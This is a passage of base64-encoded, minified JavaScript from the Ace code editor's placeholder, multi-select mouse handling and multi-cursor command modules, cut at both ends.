l0odSk7d2hpbGUoYS5sZW5ndGgpYygpfSksbH07dC5VSVdvcmtlckNsaWVudD1sLHQuV29ya2VyQ2xpZW50PWYsdC5jcmVhdGVXb3JrZXI9YX0pLGRlZmluZSgiYWNlL3BsYWNlaG9sZGVyIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL3JhbmdlIiwiYWNlL2xpYi9ldmVudF9lbWl0dGVyIiwiYWNlL2xpYi9vb3AiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPWUoIi4vcmFuZ2UiKS5SYW5nZSxpPWUoIi4vbGliL2V2ZW50X2VtaXR0ZXIiKS5FdmVudEVtaXR0ZXIscz1lKCIuL2xpYi9vb3AiKSxvPWZ1bmN0aW9uKGUsdCxuLHIsaSxzKXt2YXIgbz10aGlzO3RoaXMubGVuZ3RoPXQsdGhpcy5zZXNzaW9uPWUsdGhpcy5kb2M9ZS5nZXREb2N1bWVudCgpLHRoaXMubWFpbkNsYXNzPWksdGhpcy5vdGhlcnNDbGFzcz1zLHRoaXMuJG9uVXBkYXRlPXRoaXMub25VcGRhdGUuYmluZCh0aGlzKSx0aGlzLmRvYy5vbigiY2hhbmdlIix0aGlzLiRvblVwZGF0ZSwhMCksdGhpcy4kb3RoZXJzPXIsdGhpcy4kb25DdXJzb3JDaGFuZ2U9ZnVuY3Rpb24oKXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7by5vbkN1cnNvckNoYW5nZSgpfSl9LHRoaXMuJHBvcz1uO3ZhciB1PWUuZ2V0VW5kb01hbmFnZXIoKS4kdW5kb1N0YWNrfHxlLmdldFVuZG9NYW5hZ2VyKCkuJHVuZG9zdGFja3x8e2xlbmd0aDotMX07dGhpcy4kdW5kb1N0YWNrRGVwdGg9dS5sZW5ndGgsdGhpcy5zZXR1cCgpLGUuc2VsZWN0aW9uLm9uKCJjaGFuZ2VDdXJzb3IiLHRoaXMuJG9uQ3Vyc29yQ2hhbmdlKX07KGZ1bmN0aW9uKCl7cy5pbXBsZW1lbnQodGhpcyxpKSx0aGlzLnNldHVwPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcyx0PXRoaXMuZG9jLG49dGhpcy5zZXNzaW9uO3RoaXMuc2VsZWN0aW9uQmVmb3JlPW4uc2VsZWN0aW9uLnRvSlNPTigpLG4uc2VsZWN0aW9uLmluTXVsdGlTZWxlY3RNb2RlJiZuLnNlbGVjdGlvbi50b1NpbmdsZVJhbmdlKCksdGhpcy5wb3M9dC5jcmVhdGVBbmNob3IodGhpcy4kcG9zLnJvdyx0aGlzLiRwb3MuY29sdW1uKTt2YXIgaT10aGlzLnBvcztpLiRpbnNlcnRSaWdodD0hMCxpLmRldGFjaCgpLGkubWFya2VySWQ9bi5hZGRNYXJrZXIobmV3IHIoaS5yb3csaS5jb2x1bW4saS5yb3csaS5jb2x1bW4rdGhpcy5sZW5ndGgpLHRoaXMubWFpbkNsYXNzLG51bGwsITEpLHRoaXMub3RoZXJzPVtdLHRoaXMuJG90aGVycy5mb3JFYWNoKGZ1bmN0aW9uKG4pe3ZhciByPXQuY3JlYXRlQW5jaG9yKG4ucm93LG4uY29sdW1uKTtyLiRpbnNlcnRSaWdodD0hMCxyLmRldGFjaCgpLGUub3RoZXJzLnB1c2gocil9KSxuLnNldFVuZG9TZWxlY3QoITEpfSx0aGlzLnNob3dPdGhlck1hcmtlcnM9ZnVuY3Rpb24oKXtpZih0aGlzLm90aGVyc0FjdGl2ZSlyZXR1cm47dmFyIGU9dGhpcy5zZXNzaW9uLHQ9dGhpczt0aGlzLm90aGVyc0FjdGl2ZT0hMCx0aGlzLm90aGVycy5mb3JFYWNoKGZ1bmN0aW9uKG4pe24ubWFya2VySWQ9ZS5hZGRNYXJrZXIobmV3IHIobi5yb3csbi5jb2x1bW4sbi5yb3csbi5jb2x1bW4rdC5sZW5ndGgpLHQub3RoZXJzQ2xhc3MsbnVsbCwhMSl9KX0sdGhpcy5oaWRlT3RoZXJNYXJrZXJzPWZ1bmN0aW9uKCl7aWYoIXRoaXMub3RoZXJzQWN0aXZlKXJldHVybjt0aGlzLm90aGVyc0FjdGl2ZT0hMTtmb3IodmFyIGU9MDtlPHRoaXMub3RoZXJzLmxlbmd0aDtlKyspdGhpcy5zZXNzaW9uLnJlbW92ZU1hcmtlcih0aGlzLm90aGVyc1tlXS5tYXJrZXJJZCl9LHRoaXMub25VcGRhdGU9ZnVuY3Rpb24oZSl7aWYodGhpcy4kdXBkYXRpbmcpcmV0dXJuIHRoaXMudXBkYXRlQW5jaG9ycyhlKTt2YXIgdD1lO2lmKHQuc3RhcnQucm93IT09dC5lbmQucm93KXJldHVybjtpZih0LnN0YXJ0LnJvdyE9PXRoaXMucG9zLnJvdylyZXR1cm47dGhpcy4kdXBkYXRpbmc9ITA7dmFyIG49ZS5hY3Rpb249PT0iaW5zZXJ0Ij90LmVuZC5jb2x1bW4tdC5zdGFydC5jb2x1bW46dC5zdGFydC5jb2x1bW4tdC5lbmQuY29sdW1uLGk9dC5zdGFydC5jb2x1bW4+PXRoaXMucG9zLmNvbHVtbiYmdC5zdGFydC5jb2x1bW48PXRoaXMucG9zLmNvbHVtbit0aGlzLmxlbmd0aCsxLHM9dC5zdGFydC5jb2x1bW4tdGhpcy5wb3MuY29sdW1uO3RoaXMudXBkYXRlQW5jaG9ycyhlKSxpJiYodGhpcy5sZW5ndGgrPW4pO2lmKGkmJiF0aGlzLnNlc3Npb24uJGZyb21VbmRvKWlmKGUuYWN0aW9uPT09Imluc2VydCIpZm9yKHZhciBvPXRoaXMub3RoZXJzLmxlbmd0aC0xO28+PTA7by0tKXt2YXIgdT10aGlzLm90aGVyc1tvXSxhPXtyb3c6dS5yb3csY29sdW1uOnUuY29sdW1uK3N9O3RoaXMuZG9jLmluc2VydE1lcmdlZExpbmVzKGEsZS5saW5lcyl9ZWxzZSBpZihlLmFjdGlvbj09PSJyZW1vdmUiKWZvcih2YXIgbz10aGlzLm90aGVycy5sZW5ndGgtMTtvPj0wO28tLSl7dmFyIHU9dGhpcy5vdGhlcnNbb10sYT17cm93OnUucm93LGNvbHVtbjp1LmNvbHVtbitzfTt0aGlzLmRvYy5yZW1vdmUobmV3IHIoYS5yb3csYS5jb2x1bW4sYS5yb3csYS5jb2x1bW4tbikpfXRoaXMuJHVwZGF0aW5nPSExLHRoaXMudXBkYXRlTWFya2VycygpfSx0aGlzLnVwZGF0ZUFuY2hvcnM9ZnVuY3Rpb24oZSl7dGhpcy5wb3Mub25DaGFuZ2UoZSk7Zm9yKHZhciB0PXRoaXMub3RoZXJzLmxlbmd0aDt0LS07KXRoaXMub3RoZXJzW3RdLm9uQ2hhbmdlKGUpO3RoaXMudXBkYXRlTWFya2VycygpfSx0aGlzLnVwZGF0ZU1hcmtlcnM9ZnVuY3Rpb24oKXtpZih0aGlzLiR1cGRhdGluZylyZXR1cm47dmFyIGU9dGhpcyx0PXRoaXMuc2Vzc2lvbixuPWZ1bmN0aW9uKG4saSl7dC5yZW1vdmVNYXJrZXIobi5tYXJrZXJJZCksbi5tYXJrZXJJZD10LmFkZE1hcmtlcihuZXcgcihuLnJvdyxuLmNvbHVtbixuLnJvdyxuLmNvbHVtbitlLmxlbmd0aCksaSxudWxsLCExKX07bih0aGlzLnBvcyx0aGlzLm1haW5DbGFzcyk7Zm9yKHZhciBpPXRoaXMub3RoZXJzLmxlbmd0aDtpLS07KW4odGhpcy5vdGhlcnNbaV0sdGhpcy5vdGhlcnNDbGFzcyl9LHRoaXMub25DdXJzb3JDaGFuZ2U9ZnVuY3Rpb24oZSl7aWYodGhpcy4kdXBkYXRpbmd8fCF0aGlzLnNlc3Npb24pcmV0dXJuO3ZhciB0PXRoaXMuc2Vzc2lvbi5zZWxlY3Rpb24uZ2V0Q3Vyc29yKCk7dC5yb3c9PT10aGlzLnBvcy5yb3cmJnQuY29sdW1uPj10aGlzLnBvcy5jb2x1bW4mJnQuY29sdW1uPD10aGlzLnBvcy5jb2x1bW4rdGhpcy5sZW5ndGg/KHRoaXMuc2hvd090aGVyTWFya2VycygpLHRoaXMuX2VtaXQoImN1cnNvckVudGVyIixlKSk6KHRoaXMuaGlkZU90aGVyTWFya2VycygpLHRoaXMuX2VtaXQoImN1cnNvckxlYXZlIixlKSl9LHRoaXMuZGV0YWNoPWZ1bmN0aW9uKCl7dGhpcy5zZXNzaW9uLnJlbW92ZU1hcmtlcih0aGlzLnBvcyYmdGhpcy5wb3MubWFya2VySWQpLHRoaXMuaGlkZU90aGVyTWFya2VycygpLHRoaXMuZG9jLm9mZigiY2hhbmdlIix0aGlzLiRvblVwZGF0ZSksdGhpcy5zZXNzaW9uLnNlbGVjdGlvbi5vZmYoImNoYW5nZUN1cnNvciIsdGhpcy4kb25DdXJzb3JDaGFuZ2UpLHRoaXMuc2Vzc2lvbi5zZXRVbmRvU2VsZWN0KCEwKSx0aGlzLnNlc3Npb249bnVsbH0sdGhpcy5jYW5jZWw9ZnVuY3Rpb24oKXtpZih0aGlzLiR1bmRvU3RhY2tEZXB0aD09PS0xKXJldHVybjt2YXIgZT10aGlzLnNlc3Npb24uZ2V0VW5kb01hbmFnZXIoKSx0PShlLiR1bmRvU3RhY2t8fGUuJHVuZG9zdGFjaykubGVuZ3RoLXRoaXMuJHVuZG9TdGFja0RlcHRoO2Zvcih2YXIgbj0wO248dDtuKyspZS51bmRvKHRoaXMuc2Vzc2lvbiwhMCk7dGhpcy5zZWxlY3Rpb25CZWZvcmUmJnRoaXMuc2Vzc2lvbi5zZWxlY3Rpb24uZnJvbUpTT04odGhpcy5zZWxlY3Rpb25CZWZvcmUpfX0pLmNhbGwoby5wcm90b3R5cGUpLHQuUGxhY2VIb2xkZXI9b30pLGRlZmluZSgiYWNlL21vdXNlL211bHRpX3NlbGVjdF9oYW5kbGVyIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9ldmVudCIsImFjZS9saWIvdXNlcmFnZW50Il0sZnVuY3Rpb24oZSx0LG4pe2Z1bmN0aW9uIHMoZSx0KXtyZXR1cm4gZS5yb3c9PXQucm93JiZlLmNvbHVtbj09dC5jb2x1bW59ZnVuY3Rpb24gbyhlKXt2YXIgdD1lLmRvbUV2ZW50LG49dC5hbHRLZXksbz10LnNoaWZ0S2V5LHU9dC5jdHJsS2V5LGE9ZS5nZXRBY2NlbEtleSgpLGY9ZS5nZXRCdXR0b24oKTt1JiZpLmlzTWFjJiYoZj10LmJ1dHRvbik7aWYoZS5lZGl0b3IuaW5NdWx0aVNlbGVjdE1vZGUmJmY9PTIpe2UuZWRpdG9yLnRleHRJbnB1dC5vbkNvbnRleHRNZW51KGUuZG9tRXZlbnQpO3JldHVybn1pZighdSYmIW4mJiFhKXtmPT09MCYmZS5lZGl0b3IuaW5NdWx0aVNlbGVjdE1vZGUmJmUuZWRpdG9yLmV4aXRNdWx0aVNlbGVjdE1vZGUoKTtyZXR1cm59aWYoZiE9PTApcmV0dXJuO3ZhciBsPWUuZWRpdG9yLGM9bC5zZWxlY3Rpb24saD1sLmluTXVsdGlTZWxlY3RNb2RlLHA9ZS5nZXREb2N1bWVudFBvc2l0aW9uKCksZD1jLmdldEN1cnNvcigpLHY9ZS5pblNlbGVjdGlvbigpfHxjLmlzRW1wdHkoKSYmcyhwLGQpLG09ZS54LGc9ZS55LHk9ZnVuY3Rpb24oZSl7bT1lLmNsaWVudFgsZz1lLmNsaWVudFl9LGI9bC5zZXNzaW9uLHc9bC5yZW5kZXJlci5waXhlbFRvU2NyZWVuQ29vcmRpbmF0ZXMobSxnKSxFPXcsUztpZihsLiRtb3VzZUhhbmRsZXIuJGVuYWJsZUp1bXBUb0RlZil1JiZufHxhJiZuP1M9bz8iYmxvY2siOiJhZGQiOm4mJmwuJGJsb2NrU2VsZWN0RW5hYmxlZCYmKFM9ImJsb2NrIik7ZWxzZSBpZihhJiYhbil7Uz0iYWRkIjtpZighaCYmbylyZXR1cm59ZWxzZSBuJiZsLiRibG9ja1NlbGVjdEVuYWJsZWQmJihTPSJibG9jayIpO1MmJmkuaXNNYWMmJnQuY3RybEtleSYmbC4kbW91c2VIYW5kbGVyLmNhbmNlbENvbnRleHRNZW51KCk7aWYoUz09ImFkZCIpe2lmKCFoJiZ2KXJldHVybjtpZighaCl7dmFyIHg9Yy50b09yaWVudGVkUmFuZ2UoKTtsLmFkZFNlbGVjdGlvbk1hcmtlcih4KX12YXIgVD1jLnJhbmdlTGlzdC5yYW5nZUF0UG9pbnQocCk7bC5pblZpcnR1YWxTZWxlY3Rpb25Nb2RlPSEwLG8mJihUPW51bGwseD1jLnJhbmdlc1swXXx8eCxsLnJlbW92ZVNlbGVjdGlvbk1hcmtlcih4KSksbC5vbmNlKCJtb3VzZXVwIixmdW5jdGlvbigpe3ZhciBlPWMudG9PcmllbnRlZFJhbmdlKCk7VCYmZS5pc0VtcHR5KCkmJnMoVC5jdXJzb3IsZS5jdXJzb3IpP2Muc3Vic3RyYWN0UG9pbnQoZS5jdXJzb3IpOihvP2Muc3Vic3RyYWN0UG9pbnQoeC5jdXJzb3IpOngmJihsLnJlbW92ZVNlbGVjdGlvbk1hcmtlcih4KSxjLmFkZFJhbmdlKHgpKSxjLmFkZFJhbmdlKGUpKSxsLmluVmlydHVhbFNlbGVjdGlvbk1vZGU9ITF9KX1lbHNlIGlmKFM9PSJibG9jayIpe2Uuc3RvcCgpLGwuaW5WaXJ0dWFsU2VsZWN0aW9uTW9kZT0hMDt2YXIgTixDPVtdLGs9ZnVuY3Rpb24oKXt2YXIgZT1sLnJlbmRlcmVyLnBpeGVsVG9TY3JlZW5Db29yZGluYXRlcyhtLGcpLHQ9Yi5zY3JlZW5Ub0RvY3VtZW50UG9zaXRpb24oZS5yb3csZS5jb2x1bW4sZS5vZmZzZXRYKTtpZihzKEUsZSkmJnModCxjLmxlYWQpKXJldHVybjtFPWUsbC5zZWxlY3Rpb24ubW92ZVRvUG9zaXRpb24odCksbC5yZW5kZXJlci5zY3JvbGxDdXJzb3JJbnRvVmlldygpLGwucmVtb3ZlU2VsZWN0aW9uTWFya2VycyhDKSxDPWMucmVjdGFuZ3VsYXJSYW5nZUJsb2NrKEUsdyksbC4kbW91c2VIYW5kbGVyLiRjbGlja1NlbGVjdGlvbiYmQy5sZW5ndGg9PTEmJkNbMF0uaXNFbXB0eSgpJiYoQ1swXT1sLiRtb3VzZUhhbmRsZXIuJGNsaWNrU2VsZWN0aW9uLmNsb25lKCkpLEMuZm9yRWFjaChsLmFkZFNlbGVjdGlvbk1hcmtlcixsKSxsLnVwZGF0ZVNlbGVjdGlvbk1hcmtlcnMoKX07aCYmIWE/Yy50b1NpbmdsZVJhbmdlKCk6IWgmJmEmJihOPWMudG9PcmllbnRlZFJhbmdlKCksbC5hZGRTZWxlY3Rpb25NYXJrZXIoTikpLG8/dz1iLmRvY3VtZW50VG9TY3JlZW5Qb3NpdGlvbihjLmxlYWQpOmMubW92ZVRvUG9zaXRpb24ocCksRT17cm93Oi0xLGNvbHVtbjotMX07dmFyIEw9ZnVuY3Rpb24oZSl7aygpLGNsZWFySW50ZXJ2YWwoTyksbC5yZW1vdmVTZWxlY3Rpb25NYXJrZXJzKEMpLEMubGVuZ3RofHwoQz1bYy50b09yaWVudGVkUmFuZ2UoKV0pLE4mJihsLnJlbW92ZVNlbGVjdGlvbk1hcmtlcihOKSxjLnRvU2luZ2xlUmFuZ2UoTikpO2Zvcih2YXIgdD0wO3Q8Qy5sZW5ndGg7dCsrKWMuYWRkUmFuZ2UoQ1t0XSk7bC5pblZpcnR1YWxTZWxlY3Rpb25Nb2RlPSExLGwuJG1vdXNlSGFuZGxlci4kY2xpY2tTZWxlY3Rpb249bnVsbH0sQT1rO3IuY2FwdHVyZShsLmNvbnRhaW5lcix5LEwpO3ZhciBPPXNldEludGVydmFsKGZ1bmN0aW9uKCl7QSgpfSwyMCk7cmV0dXJuIGUucHJldmVudERlZmF1bHQoKX19dmFyIHI9ZSgiLi4vbGliL2V2ZW50IiksaT1lKCIuLi9saWIvdXNlcmFnZW50Iik7dC5vbk1vdXNlRG93bj1vfSksZGVmaW5lKCJhY2UvY29tbWFuZHMvbXVsdGlfc2VsZWN0X2NvbW1hbmRzIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2tleWJvYXJkL2hhc2hfaGFuZGxlciJdLGZ1bmN0aW9uKGUsdCxuKXt0LmRlZmF1bHRDb21tYW5kcz1be25hbWU6ImFkZEN1cnNvckFib3ZlIixkZXNjcmlwdGlvbjoiQWRkIGN1cnNvciBhYm92ZSIsZXhlYzpmdW5jdGlvbihlKXtlLnNlbGVjdE1vcmVMaW5lcygtMSl9LGJpbmRLZXk6e3dpbjoiQ3RybC1BbHQtVXAiLG1hYzoiQ3RybC1BbHQtVXAifSxzY3JvbGxJbnRvVmlldzoiY3Vyc29yIixyZWFkT25seTohMH0se25hbWU6ImFkZEN1cnNvckJlbG93IixkZXNjcmlwdGlvbjoiQWRkIGN1cnNvciBiZWxvdyIsZXhlYzpmdW5jdGlvbihlKXtlLnNlbGVjdE1vcmVMaW5lcygxKX0sYmluZEtleTp7d2luOiJDdHJsLUFsdC1Eb3duIixtYWM6IkN0cmwtQWx0LURvd24ifSxzY3JvbGxJbnRvVmlldzoiY3Vyc29yIixyZWFkT25seTohMH0se25hbWU6ImFkZEN1cnNvckFib3ZlU2tpcEN1cnJlbnQiLGRlc2NyaXB0aW9uOiJBZGQgY3Vyc29yIGFib3ZlIChza2lwIGN1cnJlbnQpIixleGVjOmZ1bmN0aW9uKGUpe2Uuc2VsZWN0TW9yZUxpbmVzKC0xLCEwKX0sYmluZEtleTp7d2luOiJDdHJsLUFsdC1TaGlmdC1VcCIsbWFjOiJDdHJsLUFsdC1TaGlmdC1VcCJ9LHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToiYWRkQ3Vyc29yQmVsb3dTa2lwQ3VycmVudCIsZGVzY3JpcHRpb246IkFkZCBjdXJzb3IgYmVsb3cgKHNraXAgY3VycmVudCkiLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5zZWxlY3RNb3JlTGluZXMoMSwhMCl9LGJpbmRLZXk6e3dpbjoiQ3RybC1BbHQtU2hpZnQtRG93biIsbWFjOiJDdHJsLUFsdC1TaGlmdC1Eb3duIn0sc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciIscmVhZE9ubHk6ITB9LHtuYW1lOiJzZWxlY3RNb3JlQmVmb3JlIixkZXNjcmlwdGlvbjoiU2VsZWN0IG1vcmUgYmVmb3JlIixleGVjOmZ1bmN0aW9uKGUpe2Uuc2VsZWN0TW9yZSgtMSl9LGJpbmRLZXk6e3dpbjoiQ3RybC1BbHQtTGVmdCIsbWFjOiJDdHJsLUFsdC1MZWZ0In0sc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciIscmVhZE9ubHk6ITB9LHtuYW1lOiJzZWxlY3RNb3JlQWZ0ZXIiLGRlc2NyaXB0aW9uOiJTZWxlY3QgbW9yZSBhZnRlciIsZXhlYzpmdW5jdGlvbihlKXtlLnNlbGVjdE1vcmUoMSl9LGJpbmRLZXk6e3dpbjoiQ3RybC1BbHQtUmlnaHQiLG1hYzoiQ3RybC1BbHQtUmlnaHQifSxzY3JvbGxJbnRvVmlldzoiY3Vyc29yIixyZWFkT25seTohMH0se25hbWU6InNlbGVjdE5leHRCZWZvcmUiLGRlc2NyaXB0aW9uOiJTZWxlY3QgbmV4dCBiZWZvcmUiLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5zZWxlY3RNb3JlKC0xLCEwKX0sYmluZEtleTp7d2luOiJDdHJsLUFsdC1TaGlmdC1MZWZ0IixtYWM6IkN0cmwtQWx0LVNoaWZ0LUxlZnQifSxzY3JvbGxJbnRvVmlldzoiY3Vyc29yIixyZWFkT25seTohMH0se25hbWU6InNlbGVjdE5leHRBZnRlciIsZGVzY3JpcHRpb246IlNlbGVjdCBuZXh0IGFmdGVyIixleGVjOmZ1bmN0aW9uKGUpe2Uuc2VsZWN0TW9yZSgxLCEwKX0sYmluZEtleTp7d2luOiJDdHJsLUFsdC1TaGlmdC1SaWdodCIsbWFjOiJDdHJsLUFsdC1TaGlmdC1SaWdodCJ9LHNjcm9sbEludG9WaWV3OiJjdXJzb3IiLHJlYWRPbmx5OiEwfSx7bmFtZToidG9nZ2xlU3BsaXRTZWxlY3Rpb25JbnRvTGluZXMiLGRlc2NyaXB0aW9uOiJTcGxpdCBpbnRvIGxpbmVzIixleGVjOmZ1bmN0aW9uKGUpe2UubXVsdGlTZWxlY3QucmFuZ2VDb3VudD4xP2UubXVsdGlTZWxlY3Quam9pblNlbGVjdGlvbnMoKTplLm11bHRpU2VsZWN0LnNwbGl0SW50b0xpbmVzKCl9LGJpbmRLZXk6e3dpbjoiQ3RybC1BbHQtTCIsbWFjOiJDdHJsLUFsdC1MIn0scmVhZE9ubHk6ITB9LHtuYW1lOiJzcGxpdFNlbGVjdGlvbkludG9MaW5lcyIsZGVzY3JpcHRpb246IlNwbGl0IGludG8gbGluZXMiLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5tdWx0aVNlbGVjdC5zcGxpdEludG9MaW5lcygpfSxyZWFkT25seTohMH0se25hbWU6ImFsaWduQ3Vyc29ycyIsZGVzY3JpcHRpb246IkFsaWduIGN1cnNvcnMiLGV4ZWM6ZnVuY3Rpb24oZSl7ZS5hbGlnbkN1cnNvcnMoKX0sYmluZEtleTp7d2luOiJDdHJsLUFsdC1BIixtYWM6IkN0cmwtQWx0LUEifSxzY3JvbGxJbnRvVmlldzoiY3Vyc29yIn0se25hbWU6ImZpbmRBbGwiLGRlc2NyaXB0aW9uOiJGaW5kIGFsbCIsZXhlYzpmdW5jdGlvbihlKXtlLmZpbmRBbGwoKX0sYmluZEtleTp7d2luOiJDdHJsLUFsdC1LIixtYWM6IkN0cmwtQWx0LUcifSxzY3JvbGxJbnRvVmlldzoiY3Vyc29yIixyZWFkT25seTohMH1dLHQubXVsdGlTZWxlY3RDb21tYW5kcz1be25hbWU6InNpbmdsZVNlbGVjdGlvbiIsZGVzY3JpcHRpb246IlNpbmdsZSBzZWxlY3Rpb24iLGJpbmRLZXk6ImVzYyIsZXhlYzpmdW5jdGlvbihlKXtlLmV4aXRNdWx0aVNlbGVjdE1vZGUoKX0sc2Nyb2xsSW50b1ZpZXc6ImN1cnNvciIscmVhZE9ubHk6ITAsaXNBdmFpbGFibGU6ZnVuY3Rpb24oZSl7cmV0dXJuIGUmJmUuaW5NdWx0aVNlbGVjdE1vZGV9fV07dmFyIHI9ZSgiLi4va2V5Ym9hcmQvaGFzaF9oYW5kbGVyIikuSGFzaEhhbmRsZXI7dC5rZXlib2FyZEhhbmRsZXI9bmV3IHIodC5tdWx0aVNlbGVjdENvbW1hbmRzKX0pLGRlZmluZSgiYWNlL211bHRpX3NlbGVjdCIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSIsImFjZS9yYW5nZV9saXN0IiwiYWNlL3JhbmdlIiwiYWNlL3NlbGVjdGlvbiIsImFjZS9tb3VzZS9tdWx0aV9zZWxlY3RfaGFuZGxlciIsImFjZS9saWIvZXZlbnQiLCJhY2UvbGliL2xhbmciLCJhY2UvY29tbWFuZHMvbXVsdGlfc2VsZWN0X2NvbW1hbmRzIiwiYWNlL3NlYXJjaCIsImFjZS9lZGl0X3Nlc3Npb24iLCJhY2UvZWRpdG9yIiwiYWNlL2NvbmZpZyJdLGZ1bmN0aW9uKGUsdCxuKXtmdW5jdGlvbiBoKGUsdCxuKXtyZXR1cm4gYy4kb3B0aW9ucy53cmFwPSEwLGMuJG9wdGlvbnMubmVlZGxlPXQsYy4kb3B0aW9ucy5iYWNrd2FyZHM9bj09LTEsYy5maW5kKGUpfWZ1bmN0aW9uIHYoZSx0KXtyZXR1cm4gZS5yb3c9PXQucm93JiZlLmNvbHVtbj09dC5jb2x1bW59ZnVuY3Rpb24gbShlKXtpZihlLiRtdWx0aXNlbGVjdE9uU2Vzc2lvbkNoYW5nZSlyZXR1cm47ZS4kb25BZGRSYW5nZT1lLiRvbkFkZFJhbmdlLmJpbmQoZSksZS4kb25SZW1vdmVSYW5nZT1lLiRvblJlbW92ZVJhbmdlLmJpbmQoZSksZS4kb25NdWx0aVNlbGVjdD1lLiRvbk11bHRpU2VsZWN0LmJpbmQoZSksZS4kb25TaW5nbGVTZWxlY3Q9ZS4kb25TaW5nbGVTZWxlY3QuYmluZChlKSxlLiRtdWx0aXNlbGVjdE9uU2Vzc2lvbkNoYW5nZT10Lm9uU2Vzc2lvbkNoYW5nZS5iaW5kKGUpLGUuJGNoZWNrTXVsdGlzZWxlY3RDaGFuZ2U9ZS4kY2hlY2tNdWx0aXNlbGVjdENoYW5nZS5iaW5kKGUpLGUuJG11bHRpc2VsZWN0T25TZXNzaW9uQ2hhbmdlKGUpLGUub24oImNoYW5nZVNlc3Npb24iLGUuJG11bHRpc2VsZWN0T25TZXNzaW9uQ2hhbmdlKSxlLm9uKCJtb3VzZWRvd24iLG8pLGUuY29tbWFuZHMuYWRkQ29tbWFuZHMoZi5kZWZhdWx0Q29tbWFuZHMpLGcoZSl9ZnVuY3Rpb24gZyhlKXtmdW5jdGlvbiByKHQpe24mJihlLnJlbmRlcmVyLnNldE1vdXNlQ3Vyc29yKCIiKSxuPSExKX1pZighZS50ZXh0SW5wdXQpcmV0dXJuO3ZhciB0PWUudGV4dElucHV0LmdldEVsZW1lbnQoKSxuPSExO3UuYWRkTGlzdGVuZXIodCwia2V5ZG93biIsZnVuY3Rpb24odCl7dmFyIGk9dC5rZXlDb2RlPT0xOCYmISh0LmN0cmxLZXl8fHQuc2hpZnRLZXl8fHQubWV0YUtleSk7ZS4kYmxvY2tTZWxlY3RFbmFibGVkJiZpP258fChlLnJlbmRlcmVyLnNldE1vdXNlQ3Vyc29yKCJjcm9zc2hhaXIiKSxuPSEwKTpuJiZyKCl9LGUpLHUuYWRkTGlzdGVuZXIodCwia2V5dXAiLHIsZSksdS5hZGRMaXN0ZW5lcih0LCJibHVyIixyLGUpfXZhciByPWUoIi4vcmFuZ2VfbGlzdCIpLlJhbmdlTGlzdCxpPWUoIi4vcmFuZ2UiKS5SYW5nZSxzPWUoIi4vc2VsZWN0aW9uIikuU2VsZWN0aW9uLG89ZSgiLi9tb3VzZS9tdWx0aV9zZWxlY3RfaGFuZGxlciIpLm9uTW91c2VEb3duLHU9ZSgiLi9saWIvZXZlbnQiKSxhPWUoIi4vbGliL2xhbmciKSxmPWUoIi4vY29tbWFuZHMvbXVsdGlfc2VsZWN0X2NvbW1hbmRzIik7dC5jb21tYW5kcz1mLmRlZmF1bHRDb21tYW5kcy5jb25jYXQoZi5tdWx0aVNlbGVjdENvbW1hbmRzKTt2YXIgbD1lKCIuL3NlYXJjaCIpLlNlYXJjaCxjPW5ldyBsLHA9ZSgiLi9lZGl0X3Nlc3Npb24iKS5FZGl0U2Vzc2lvbjsoZnVuY3Rpb24oKXt0aGlzLmdldFNlbGVjdGlvbk1hcmtlcnM9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc2VsZWN0aW9uTWFya2Vyc319KS5jYWxsKHAucHJvdG90eXBlKSxmdW5jdGlvbigpe3RoaXMucmFuZ2VzPW51bGwsdGhpcy5yYW5nZUxpc3Q9bnVsbCx0aGlzLmFkZFJhbmdlPWZ1bmN0aW9uKGUsdCl7aWYoIWUpcmV0dXJuO2lmKCF0aGlzLmluTXVsdGlTZWxlY3RNb2RlJiZ0aGlzLnJhbmdlQ291bnQ9PT0wKXt2YXIgbj10aGlzLnRvT3JpZW50ZWRSYW5nZSgpO3RoaXMucmFuZ2VMaXN0LmFkZChuKSx0aGlzLnJhbmdlTGlzdC5hZGQoZSk7aWYodGhpcy5yYW5nZUxpc3QucmFuZ2VzLmxlbmd0aCE9MilyZXR1cm4gdGhpcy5yYW5nZUxpc3QucmVtb3ZlQWxsKCksdHx8dGhpcy5mcm9tT3JpZW50ZWRSYW5nZShlKTt0aGlzLnJhbmdlTGlzdC5yZW1vdmVBbGwoKSx0aGlzLnJhbmdlTGlzdC5hZGQobiksdGhpcy4kb25BZGRSYW5nZShuKX1lLmN1cnNvcnx8KGUuY3Vyc29yPWUuZW5kKTt2YXIgcj10aGlzLnJhbmdlTGlzdC5hZGQoZSk7cmV0dXJuIHRoaXMuJG9uQWRkUmFuZ2UoZSksci5sZW5ndGgmJnRoaXMuJG9uUmVtb3ZlUmFuZ2UociksdGhpcy5yYW5nZUNvdW50PjEmJiF0aGlzLmluTXVsdGlTZWxlY3RNb2RlJiYodGhpcy5fc2lnbmFsKCJtdWx0aVNlbGVjdCIpLHRoaXMuaW5NdWx0aVNlbGVjdE1vZGU9ITAsdGhpcy5zZXNzaW9uLiR1bmRvU2VsZWN0PSExLHRoaXMucmFuZ2VMaXN0LmF0dGFjaCh0aGlzLnNlc3Npb24pKSx0fHx0aGlzLmZyb21PcmllbnRlZFJhbmdlKGUpfSx0aGlzLnRvU2luZ2xlUmFuZ2U9ZnVuY3Rpb24oZSl7ZT1lfHx0aGlzLnJhbmdlc1swXTt2YXIgdD10aGlzLnJhbmdlTGlzdC5yZW1vdmVBbGwoKTt0Lmxlbmd0aCYmdGhpcy4kb25SZW1vdmVSYW5nZSh0KSxlJiZ0aGlzLmZyb21PcmllbnRlZFJhbmdlKGUpfSx0aGlzLnN1YnN0cmFjdFBvaW50PWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMucmFuZ2VMaXN0LnN1YnN0cmFjdFBvaW50KGUpO2lmKHQpcmV0dX